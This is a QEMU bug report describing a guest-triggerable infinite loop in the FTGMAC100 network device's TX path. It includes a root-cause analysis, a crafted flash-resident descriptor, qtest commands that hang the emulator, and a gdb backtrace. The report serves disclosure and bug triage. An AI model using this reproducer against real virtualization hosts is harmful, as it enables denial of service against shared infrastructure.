infinite loop in ftgmac100
<!--
This is the upstream QEMU issue tracker.
If you are able to, it will greatly facilitate bug triage if you attempt
to reproduce the problem with the latest qemu.git master built from
source. See https://www.qemu.org/download/#source for instructions on
how to do this.
QEMU generally supports the last two releases advertised on
https://www.qemu.org/. Problems with distro-packaged versions of QEMU
older than this should be reported to the distribution instead.
See https://www.qemu.org/contribute/report-a-bug/ for additional
guidance.
If this is a security issue, please consult
https://www.qemu.org/contribute/security-process/
-->
## Version
- commit: `2339d0a1cf`
- tag: `v10.2.0-690-g2339d0a1cf`
## Affected Device
This issue exists in QEMU's `FTGMAC100` device model (`hw/net/ftgmac100.c`).
`FTGMAC100` is Faraday's Ethernet MAC controller, and in QEMU it is used to emulate onboard network interfaces on SoC/BMC platforms such as Aspeed machines.
This device uses DMA descriptor rings for network I/O:
- RX path: receives packets from the backend network and writes them into guest-provided buffers.
- TX path: reads guest-provided TX descriptors and packet buffers, transmits the packet, and then writes back updated descriptor state.
This report concerns a flaw in the **TX path** inside `ftgmac100_do_tx()`.
## Vulnerability Overview
In `hw/net/ftgmac100.c`, `ftgmac100_do_tx()` processes TX descriptors in a `while (1)` loop. After clearing the OWN bit, it calls `ftgmac100_write_bd()` to write the updated descriptor back to guest memory, but it does not check the return value.
When the descriptor memory is readable but not writable, for example when it is placed in a flash/ROM-like region, the following happens:
1. The descriptor is read successfully and `OWN=1`, so the transmit path starts processing it.
2. After transmission, QEMU attempts to write back `OWN=0`, but the write fails.
3. Forward progress depends on successful descriptor state update, but the descriptor contents never change.
4. The next loop iteration reads the same descriptor again, and the `while (1)` loop repeats indefinitely.
Relevant code pattern:
```c
while (1) {
...
bd.des0 &= ~FTGMAC100_TXDES0_TXDMA_OWN;
ftgmac100_write_bd(&bd, addr); // return value is ignored
...
}
```
### Root Cause Analysis
- Controllable input surface: the guest can configure the TX ring base and descriptor contents.
- Trigger condition: the descriptor address points to a region where DMA reads succeed but DMA writes fail.
- Core flaw: the TX state machine has no error exit when descriptor writeback fails.
- Result: the TX path loses forward progress and enters a livelock / infinite loop.
### Trigger Scenarios
- A malicious guest places the TX descriptor ring in a flash/ROM/MMIO read-only window.
- A buggy guest driver configures the ring to a non-writable address that is still readable.
- Backend memory attributes cause `dma_memory_write()` to fail while `dma_memory_read()` still succeeds.
This reproduction uses the Aspeed mtd flash window at `0x20000000`, which matches those conditions precisely.
## Reproducing the Issue
### Build Configuration
```bash
CC=clang ../configure \
--target-list=arm-softmmu,aarch64-softmmu \
--enable-debug --disable-strip --disable-werror \
--extra-cflags="-fsanitize=address -fno-omit-frame-pointer -O1" \
--extra-ldflags="-fsanitize=address"
make -j8
```
### Reproduction Steps
#### 1) Prepare a flash image and place a crafted TX descriptor in it
```bash
truncate -s 32M /tmp/ftgmac_flash.bin
# Descriptor (16 bytes):
# des0=0xF0000004 (OWN|FTS|LTS|len=4)
# des1=0x00000000
# des2=0x00000000
# des3=0x20000100 (packet buffer address)
printf '\x04\x00\x00\xF0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x20' \
| dd of=/tmp/ftgmac_flash.bin bs=1 seek=0 conv=notrunc status=none
# 4-byte dummy packet data
printf '\x00\x11\x22\x33' \
| dd of=/tmp/ftgmac_flash.bin bs=1 seek=256 conv=notrunc status=none
```
#### 2) Send qtest commands to trigger TX poll demand
```bash
cat <<'EOF' | /home/kiki/bug-verify/qemu-test/build/qemu-system-arm \
-M ast2500-evb -accel tcg \
-display none -serial none -monitor none \
-qtest stdio -S \
-drive file=/tmp/ftgmac_flash.bin,format=raw,if=mtd
writel 0x1e660020 0x20000000
writel 0x1e660050 0x00000005
writel 0x1e660018 0x1
readl 0x1e660000
EOF
```
#### 3) Expected Behavior During Reproduction
- The first two `writel` commands return `OK`.
- The third command, `writel 0x1e660018 0x1`, never returns.
- The QEMU process keeps consuming CPU on a single core.
## Debugging and Analysis
#### 1) Generate a core dump
```bash
ulimit -c unlimited
sudo sysctl -w kernel.core_pattern=core.%p
cat <<'EOF' | \
ASAN_OPTIONS=detect_leaks=0:disable_coredump=0 \
LSAN_OPTIONS=detect_leaks=0 \
timeout --foreground -s ABRT -k 30s 8s \
./qemu-system-arm \
-M ast2500-evb -accel tcg -display none -serial none -monitor none \
-qtest stdio -S \
-drive file=/tmp/ftgmac_flash.bin,format=raw,if=mtd \
-d guest_errors -D /tmp/ftgmac_guest.log
writel 0x1e660020 0x20000000
writel 0x1e660050 0x00000005
writel 0x1e660018 0x1
readl 0x1e660000
EOF
```
If `core.<pid>` appears after timeout, the hang has been converted into an offline-debuggable sample.
#### 2) Analyze the core with gdb
```bash
gdb -q ./qemu-system-arm core.293855 -ex bt -ex q
```
The full trace produced:
```
pwndbg: loaded 166 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from /home/kiki/bug-verify/qemu-test/build/qemu-system-arm...
warning: Can't open file /memfd:tcg-jit (deleted) during file-backed mapping note processing
[New LWP 293855]
[New LWP 293856]
[New LWP 293857]
[New LWP 293858]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Core was generated by `./qemu-system-arm -M ast2500-evb -accel tcg -display none -serial none -monitor'.
Program terminated with signal SIGABRT, Aborted.
#0 __GI___libc_write (nbytes=53, buf=0x621000088500, fd=5) at ../sysdeps/unix/sysv/linux/write.c:26
26 ../sysdeps/unix/sysv/linux/write.c: No such file or directory.
[Current thread is 1 (Thread 0x7ba2db02acc0 (LWP 293855))]
warning: File "/home/kiki/bug-verify/qemu-test/.gdbinit" auto-loading has been declined by your `auto-load safe-path' set to "$debugdir:$datadir/auto-load".
To enable execution of this file add
add-auto-load-safe-path /home/kiki/bug-verify/qemu-test/.gdbinit
line to your configuration file "/home/kiki/.gdbinit".
To completely disable this security protection add
set auto-load safe-path /
line to your configuration file "/home/kiki/.gdbinit".
For more information about this security protection see the
"Auto-loading safe path" section in the GDB manual. E.g., run from the shell:
info "(gdb)Auto-loading safe path"
#0 __GI___libc_write (nbytes=53, buf=0x621000088500, fd=5) at ../sysdeps/unix/sysv/linux/write.c:26
#1 __GI___libc_write (fd=5, buf=0x621000088500, nbytes=53) at ../sysdeps/unix/sysv/linux/write.c:24
#2 0x00007ba2dae8aeed in _IO_new_file_write (f=0x615000003f00, data=0x621000088500, n=53) at ./libio/fileops.c:1180
#3 0x00007ba2dae8c9e1 in new_do_write (to_do=53, data=0x621000088500 "aspeed_smc_flash_write: flash is not writable at 0x0\nt pulse mode\n", '\276' <repeats 134 times>..., fp=0x615000003f00) at ./libio/libioP.h:947
#4 _IO_new_do_write (to_do=53, data=0x621000088500 "aspeed_smc_flash_write: flash is not writable at 0x0\nt pulse mode\n", '\276' <repeats 134 times>..., fp=0x615000003f00) at ./libio/fileops.c:425
#5 _IO_new_do_write (fp=0x615000003f00, data=0x621000088500 "aspeed_smc_flash_write: flash is not writable at 0x0\nt pulse mode\n", '\276' <repeats 134 times>..., to_do=53) at ./libio/fileops.c:422
#6 0x00007ba2dae8a4d8 in _IO_new_file_sync (fp=0x615000003f00) at ./libio/fileops.c:798
#7 0x00007ba2dae7f1aa in __GI__IO_fflush (fp=0x615000003f00) at ./libio/libioP.h:947
#8 0x00005a8977fddce9 in fflush ()
#9 0x00005a897926a577 in qemu_log_unlock (logfile=0x5, logfile@entry=0x615000003f00) at ../util/log.c:138
#10 0x00005a897926a86c in qemu_log (fmt=<optimized out>) at ../util/log.c:173
#11 0x00005a89786a904b in aspeed_smc_flash_write (opaque=0x7ba2d9f584c0, addr=53, data=1879048196, size=4) at ../hw/ssi/aspeed_smc.c:638
#12 0x00005a8978883ac0 in memory_region_write_accessor (mr=<optimized out>, addr=0, value=<optimized out>, size=4, shift=<optimized out>, mask=<optimized out>, attrs=...) at ../system/memory.c:491
#13 0x00005a8978883713 in access_with_adjusted_size (addr=0, value=0x35, size=size@entry=8, access_size_min=<optimized out>, access_size_max=<optimized out>, access_fn=0x5a89788838b0 <memory_region_write_accessor>, mr=0x7ba2d9f58800, attrs=...) at ../system/memory.c:567
#14 0x00005a8978883337 in memory_region_dispatch_write (mr=<optimized out>, addr=<optimized out>, data=1879048196, op=<optimized out>, attrs=...) at ../system/memory.c:1554
#15 0x00005a89788b8266 in flatview_write_continue_step (attrs=attrs@entry=..., buf=buf@entry=0x7fffa31f9880 "\004", len=<optimized out>, mr_addr=107820859557120, mr_addr@entry=0, l=l@entry=0x7fffa31f95e0, mr=0x7ba2d9f58800) at ../system/physmem.c:3272
#16 0x00005a89788a9ee4 in flatview_write_continue (fv=0x6060000753e0, addr=536870912, attrs=..., ptr=0x621000088500, len=16, mr_addr=0, l=8, mr=0x35) at ../system/physmem.c:3302
#17 flatview_write (fv=<optimized out>, addr=<optimized out>, attrs=..., buf=<optimized out>, len=<optimized out>) at ../system/physmem.c:3333
#18 0x00005a89788a9ba5 in address_space_write (as=<optimized out>, addr=536870912, attrs=..., buf=0x7fffa31f9880, len=16) at ../system/physmem.c:3453
#19 0x00005a89788aa15e in address_space_rw (as=0x5, addr=107820859557120, addr@entry=536870912, attrs=..., attrs@entry=..., buf=0x7ba2daf1493f <__GI___libc_write+79>, buf@entry=0x7fffa31f9880, len=0, len@entry=16, is_write=247) at ../system/physmem.c:3463
#20 0x00005a89784fe61f in dma_memory_rw_relaxed (addr=107820859557120, len=16, dir=DMA_DIRECTION_FROM_DEVICE, attrs=..., as=<optimized out>, buf=<optimized out>) at /home/kiki/bug-verify/qemu-test/include/system/dma.h:87
#21 dma_memory_rw (addr=107820859557120, len=16, dir=DMA_DIRECTION_FROM_DEVICE, attrs=..., as=<optimized out>, buf=<optimized out>) at /home/kiki/bug-verify/qemu-test/include/system/dma.h:130
#22 dma_memory_write (addr=107820859557120, len=16, attrs=..., as=<optimized out>, buf=<optimized out>) at /home/kiki/bug-verify/qemu-test/include/system/dma.h:171
#23 ftgmac100_write_bd (addr=107820859557120, bd=<optimized out>) at ../hw/net/ftgmac100.c:491
#24 ftgmac100_do_tx (s=0x7ba2d9f68810, tx_ring=536870912, tx_descriptor=<optimized out>) at ../hw/net/ftgmac100.c:627
#25 ftgmac100_write (opaque=<optimized out>, addr=<optimized out>, value=<optimized out>, size=<optimized out>) at ../hw/net/ftgmac100.c:843
#26 0x00005a8978883ac0 in memory_region_write_accessor (mr=<optimized out>, addr=24, value=<optimized out>, size=4, shift=<optimized out>, mask=<optimized out>, attrs=...) at ../system/memory.c:491
#27 0x00005a8978883713 in access_with_adjusted_size (addr=24, value=0x35, size=size@entry=4, access_size_min=<optimized out>, access_size_max=<optimized out>, access_fn=0x5a89788838b0 <memory_region_write_accessor>, mr=0x7ba2d9f6ac70, attrs=...) at ../system/memory.c:567
#28 0x00005a8978883337 in memory_region_dispatch_write (mr=<optimized out>, addr=<optimized out>, data=1, op=<optimized out>, attrs=...) at ../system/memory.c:1554
#29 0x00005a89788b8266 in flatview_write_continue_step (attrs=attrs@entry=..., buf=buf@entry=0x7fffa31f9fa0 "\001", len=<optimized out>, mr_addr=107820859557120, mr_addr@entry=24, l=l@entry=0x7fffa31f9ba0, mr=0x7ba2d9f6ac70) at ../system/physmem.c:3272
#30 0x00005a89788a9ee4 in flatview_write_continue (fv=0x6060000753e0, addr=510001176, attrs=..., ptr=0x621000088500, len=4, mr_addr=24, l=4, mr=0x35) at ../system/physmem.c:3302
#31 flatview_write (fv=<optimized out>, addr=<optimized out>, attrs=..., buf=<optimized out>, len=<optimized out>) at ../system/physmem.c:3333
#32 0x00005a89788a9ba5 in address_space_write (as=<optimized out>, addr=510001176, attrs=attrs@entry=..., buf=buf@entry=0x7fffa31f9fa0, len=len@entry=4) at ../system/physmem.c:3453
#33 0x00005a89788be572 in qtest_process_command (chr=0x60c000009f80, words=0x603000135df0) at ../system/qtest.c:532
#34 qtest_process_inbuf (chr=chr@entry=0x60c000009f80, inbuf=0x619000007500) at ../system/qtest.c:777
#35 0x00005a89788c24b7 in qtest_read (opaque=0x60c000009f80, buf=<optimized out>, size=<optimized out>) at ../system/qtest.c:786
#36 0x00005a89790cd289 in qemu_chr_be_write_impl (s=<optimized out>, buf=0x621000088500 "aspeed_smc_flash_write: flash is not writable at 0x0\nt pulse mode\n", '\276' <repeats 134 times>..., len=53) at ../chardev/char.c:214
#37 qemu_chr_be_write (s=s@entry=0x610000003740, buf=0x621000088500 "aspeed_smc_flash_write: flash is not writable at 0x0\nt pulse mode\n", '\276' <repeats 134 times>..., buf@entry=0x7fffa31fa2e0 "writel 0x1e660020 0x20000000\nwritel 0x1e660050 0x00000005\nwritel 0x1e660018 0x1\nreadl 0x1e660000\n\276", len=53) at ../chardev/char.c:226
#38 0x00005a89790d1ede in fd_chr_read (chan=<optimized out>, cond=<optimized out>, opaque=<optimized out>) at ../chardev/char-fd.c:72
#39 0x00005a8978eced05 in qio_channel_fd_source_dispatch (source=<optimized out>, callback=0x0, user_data=0x35) at ../io/channel-watch.c:84
#40 0x00007ba2db206c44 in g_main_context_dispatch () at /lib/x86_64-linux-gnu/libglib-2.0.so.0
#41 0x00005a89792825e5 in glib_pollfds_poll () at ../util/main-loop.c:290
#42 os_host_main_loop_wait (timeout=<optimized out>) at ../util/main-loop.c:313
#43 main_loop_wait (nonblocking=<optimized out>) at ../util/main-loop.c:592
#44 0x00005a89788c5b4a in qemu_main_loop () at ../system/runstate.c:903
#45 0x00005a89790dd311 in qemu_default_main (opaque=opaque@entry=0x0) at ../system/main.c:50
#46 0x00005a89790dd2dd in main (argc=20, argv=0x7fffa31fb878) at ../system/main.c:93
#47 0x00007ba2dae29d90 in __libc_start_call_main (main=main@entry=0x5a89790dd190 <main>, argc=argc@entry=20, argv=argv@entry=0x7fffa31fb878) at ../sysdeps/nptl/libc_start_call_main.h:58
#48 0x00007ba2dae29e40 in __libc_start_main_impl (main=0x5a89790dd190 <main>, argc=20, argv=0x7fffa31fb878, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffa31fb868) at ../csu/libc-start.c:392
#49 0x00005a8977f89285 in _start ()
```
### Interpretation of the Trace
- `#33 qtest_process_command` to `#25 ftgmac100_write` shows that the trigger comes directly from `writel 0x1e660018 0x1`, not from unrelated asynchronous activity.
- `#24 ftgmac100_do_tx` shows that execution has entered the FTGMAC100 TX main loop.
- `#23 ftgmac100_write_bd` shows that QEMU is trying to write the modified TX descriptor back.
- `#18 address_space_write(addr=536870912)` means the writeback target is `0x20000000`, which is exactly the flash-mapped descriptor location used in the reproduction.
- `#11 aspeed_smc_flash_write`, together with the log message `flash is not writable at 0x0`, confirms that the lower layer is explicitly rejecting writes to that region.
- `#0` through `#10` are inside `write/fflush/qemu_log`, which indicates the core was captured while QEMU was repeatedly emitting the same write-failure log. That is consistent with an infinite retry path.
#### 3) Conclusion
The trace shows that execution remains stuck in the descriptor writeback loop inside `ftgmac100_do_tx()`. This satisfies the condition for a **guest-triggerable denial of service (DoS)**.
## Additional information
<!--
Attach logs, stack traces, screenshots, etc. Compress the files if necessary.
If using libvirt, libvirt logs and XML domain information may be relevant.
-->
<!--
The line below ensures that proper tags are added to the issue.
Please do not remove it.
-->
issue